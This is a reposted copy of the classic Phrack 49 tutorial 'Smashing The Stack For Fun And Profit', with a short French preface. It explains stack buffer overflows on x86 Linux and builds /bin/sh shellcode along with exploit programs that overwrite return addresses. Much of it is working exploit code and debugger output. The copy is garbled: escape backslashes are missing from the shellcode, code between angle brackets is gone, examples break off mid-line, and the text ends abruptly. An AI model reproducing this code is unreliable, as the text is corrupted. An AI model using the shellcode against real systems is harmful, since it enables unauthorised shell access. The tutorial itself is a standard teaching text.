Article sur les buffer overflow : au menu confection de shellcode, exploitation de la pile, ... tout ca expliquer dans la langue de shakspeare ... voila a mon avis c'est vraiment un bon texte. Prerequis : Assembleur, C, fonctionnement de la pile.
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
bring you
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by Aleph One
aleph1@underground.org
`smash the stack` [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.
Introduction
~~~~~~~~~~~~
Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.
Basic knowledge of assembly is required. An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.
Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays. Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at load
time on the data segment. Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.
Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To understand what stack buffers are we must first understand how a
process is organized in memory. Processes are divided into three regions:
Text, Data, and Stack. We will concentrate on the stack region, but first
a small overview of the other regions is in order.
The text region is fixed by the program and includes code (instructions)
and read-only data. This region corresponds to the text section of the
executable file. This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.
The data region contains initialized and uninitialized data. Static
variables are stored in this region. The data region corresponds to the
data-bss sections of the executable file. Its size can be changed with the
brk(2) system call. If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.
/------------------ lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
------------------/ addresses
Fig. 1 Process Memory Regions
What Is A Stack?
~~~~~~~~~~~~~~~~
A stack is an abstract data type frequently used in computer science. A
stack of objects has the property that the last object placed on the stack
will be the first object removed. This property is commonly referred to as
last in, first out queue, or a LIFO.
Several operations are defined on stacks. Two of the most important are
PUSH and POP. PUSH adds an element at the top of the stack. POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.
Why Do We Use A Stack?
~~~~~~~~~~~~~~~~~~~~~~
Modern computers are designed with the need of high-level languages in
mind. The most important technique for structuring programs introduced by
high-level languages is the procedure or function. From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call. This high-level abstraction
is implemented with the help of the stack.
The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.
The Stack Region
~~~~~~~~~~~~~~~~
A stack is a contiguous block of memory containing data. A register called
the stack pointer (SP) points to the top of the stack. The bottom of the
stack is at a fixed address. Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.
The stack consists of logical stack frames that are pushed when calling a
function and popped when returning. A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.
Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up. In our examples we'll use a stack that grows
down. This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
implementation dependent. It may point to the last address on the stack, or
to the next free available address after the stack. For our discussion we'll
assume it points to the last address on the stack.
In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame. Some texts also refer
to it as a local base pointer (LB). In principle, local variables could be
referenced by giving their offsets from SP. However, as words are pushed onto
the stack and popped from the stack, these offsets change. Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required. Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.
Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
purpose. On the Motorola CPUs, any address register except A7 (the stack
pointer) will do. Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.
The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit). Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog. Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog. The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.
Let us see what the stack looks like in a simple example:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:
$ gcc -S -o example1.s example1.c
By looking at the assembly language output we see that the call to
function() is translated to:
pushl $3
pushl $2
pushl $1
call function
This pushes the 3 arguments to function backwards into the stack, and
calls function(). The instruction 'call' will push the instruction pointer
(IP) onto the stack. We'll call the saved IP the return address (RET). The
first thing done in function is the procedure prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
This pushes EBP, the frame pointer, onto the stack. It then copies the
current SP onto EBP, making it the new FP pointer. We'll call the saved FP
pointer SFP. It then allocates space for the local variables by subtracting
their size from SP.
We must remember that memory can only be addressed in multiples of the
word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory. That is why SP is being
subtracted by 20. With that in mind our stack looks like this when
function() is called (each space represents a byte):
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
: pushl %ebp
0x8000491 : movl %esp,%ebp
0x8000493 : subl $0x4,%esp
0x8000496 : movl $0x0,0xfffffffc(%ebp)
0x800049d : pushl $0x3
0x800049f : pushl $0x2
0x80004a1 : pushl $0x1
0x80004a3 : call 0x8000470
0x80004a8 : addl $0xc,%esp
0x80004ab : movl $0x1,0xfffffffc(%ebp)
0x80004b2 : movl 0xfffffffc(%ebp),%eax
0x80004b5 : pushl %eax
0x80004b6 : pushl $0x80004f8
0x80004bb : call 0x8000378
0x80004c0 : addl $0x8,%esp
0x80004c3 : movl %ebp,%esp
0x80004c5 : popl %ebp
0x80004c6 : ret
0x80004c7 : nop
------------------------------------------------------------------------------
We can see that when calling function() the RET will be 0x8004a8, and we
want to jump past the assignment at 0x80004ab. The next instruction we want
to execute is the at 0x8004b2. A little math tells us the distance is 8
bytes.
Shell Code
~~~~~~~~~~
So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute? In most cases we'll simply
want the program to spawn a shell. From the shell we can then issue other
commands as we wish. But what if there is no such code in the program we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer. Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
To find out what does it looks like in assembly we compile it, and start
up gdb. Remember to use the -static flag. Otherwise the actual code the
for the execve system call will not be included. Instead there will be a
reference to dynamic C library that would normally would be linked in at
load time.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc : pushl %ebp
0x80002bd : movl %esp,%ebp
0x80002bf : pushl %ebx
0x80002c0 : movl $0xb,%eax
0x80002c5 : movl 0x8(%ebp),%ebx
0x80002c8 : movl 0xc(%ebp),%ecx
0x80002cb : movl 0x10(%ebp),%edx
0x80002ce : int $0x80
0x80002d0 : movl %eax,%edx
0x80002d2 : testl %edx,%edx
0x80002d4 : jnl 0x80002e6
0x80002d6 : negl %edx
0x80002d8 : pushl %edx
0x80002d9 : call 0x8001a34
0x80002de : popl %edx
0x80002df : movl %edx,(%eax)
0x80002e1 : movl $0xffffffff,%eax
0x80002e6 : popl %ebx
0x80002e7 : movl %ebp,%esp
0x80002e9 : popl %ebp
0x80002ea : ret
0x80002eb : nop
End of assembler dump.
------------------------------------------------------------------------------
Lets try to understand what is going on here. We'll start by studying main:
------------------------------------------------------------------------------
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
This is the procedure prelude. It first saves the old frame pointer,
makes the current stack pointer the new frame pointer, and leaves
space for the local variables. In this case its:
char *name[2];
or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
We copy the value 0x80027b8 (the address of the string "/bin/sh")
into the first pointer of name[]. This is equivalent to:
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
We copy the value 0x0 (NULL) into the seconds pointer of name[].
This is equivalent to:
name[1] = NULL;
The actual call to execve() starts here.
0x8000144 : pushl $0x0
We push the arguments to execve() in reverse order onto the stack.
We start with NULL.
0x8000146 : leal 0xfffffff8(%ebp),%eax
We load the address of name[] into the EAX register.
0x8000149 : pushl %eax
We push the address of name[] onto the stack.
0x800014a : movl 0xfffffff8(%ebp),%eax
We load the address of the string "/bin/sh" into the EAX register.
0x800014d : pushl %eax
We push the address of the string "/bin/sh" onto the stack.
0x800014e : call 0x80002bc
Call the library procedure execve(). The call instruction pushes the
IP onto the stack.
------------------------------------------------------------------------------
Now execve(). Keep in mind we are using a Intel based Linux system. The
syscall details will change from OS to OS, and from CPU to CPU. Some will
pass the arguments on the stack, others on the registers. Some use a software
interrupt to jump to kernel mode, others use a far call. Linux passes its
arguments to the system call on the registers, and uses a software interrupt
to jump into kernel mode.
------------------------------------------------------------------------------
0x80002bc : pushl %ebp
0x80002bd : movl %esp,%ebp
0x80002bf : pushl %ebx
The procedure prelude.
0x80002c0 : movl $0xb,%eax
Copy 0xb (11 decimal) onto the stack. This is the index into the
syscall table. 11 is execve.
0x80002c5 : movl 0x8(%ebp),%ebx
Copy the address of "/bin/sh" into EBX.
0x80002c8 : movl 0xc(%ebp),%ecx
Copy the address of name[] into ECX.
0x80002cb : movl 0x10(%ebp),%edx
Copy the address of the null pointer into %edx.
0x80002ce : int $0x80
Change into kernel mode.
------------------------------------------------------------------------------
So as we can see there is not much to the execve() system call. All we need
to do is:
a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the string "/bin/sh" somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the
EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
But what if the execve() call fails for some reason? The program will
continue fetching instructions from the stack, which may contain random data!
The program will most likely core dump. We want the program to exit cleanly
if the execve syscall fails. To accomplish this we must then add a exit
syscall after the execve syscall. What does the exit syscall looks like?
exit.c
------------------------------------------------------------------------------
#include
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c : pushl %ebp
0x800034d : movl %esp,%ebp
0x800034f : pushl %ebx
0x8000350 : movl $0x1,%eax
0x8000355 : movl 0x8(%ebp),%ebx
0x8000358 : int $0x80
0x800035a : movl 0xfffffffc(%ebp),%ebx
0x800035d : movl %ebp,%esp
0x800035f : popl %ebp
0x8000360 : ret
0x8000361 : nop
0x8000362 : nop
0x8000363 : nop
End of assembler dump.
------------------------------------------------------------------------------
The exit syscall will place 0x1 in EAX, place the exit code in EBX,
and execute "int 0x80". That's it. Most applications return 0 on exit to
indicate no errors. We will place 0 in EBX. Our list of steps is now:
a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the string "/bin/sh" somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the
EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.
Trying to put this together in assembly language, placing the string
after the code, and remembering we will place the address of the string,
and null word after the array, we have:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
The problem is that we don't know where in the memory space of the
program we are trying to exploit the code (and the string that follows
it) will be placed. One way around it is to use a JMP, and a CALL
instruction. The JMP and CALL instructions can use IP relative addressing,
which means we can jump to an offset from the current IP without needing
to know the exact address of where in memory we want to jump to. If we
place a CALL instruction right before the "/bin/sh" string, and a JMP
instruction to it, the strings address will be pushed onto the stack as
the return address when CALL is executed. All we need then is to copy the
return address into a register. The CALL instruction can simply call the
start of our code above. Assuming now that J stands for the JMP instruction,
C for the CALL instruction, and s for the string, the execution flow would
now be:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
: pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00"
"x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80"
"xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff"
"xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
It works! But there is an obstacle. In most cases we'll be trying to
overflow a character buffer. As such any null bytes in our shellcode will be
considered the end of the string, and the copy will be terminated. There must
be no null bytes in the shellcode for the exploit to work. Let's try to
eliminate the bytes (and at the same time make it smaller).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
Writing an Exploit
~~~~~~~~~~~~~~~~~~
(or how to mung the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets try to pull all our pieces together. We have the shellcode. We know
it must be part of the string which we'll use to overflow the buffer. We
know we must point the return address back into the buffer. This example will
demonstrate these points:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
We can create a program that takes as a parameter a buffer size, and an
offset from its own stack pointer (where we believe the buffer we want to
overflow may live). We'll put the overflow string in an environment variable
so it is easy to manipulate:
exploit2.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.
");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x
", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '
|
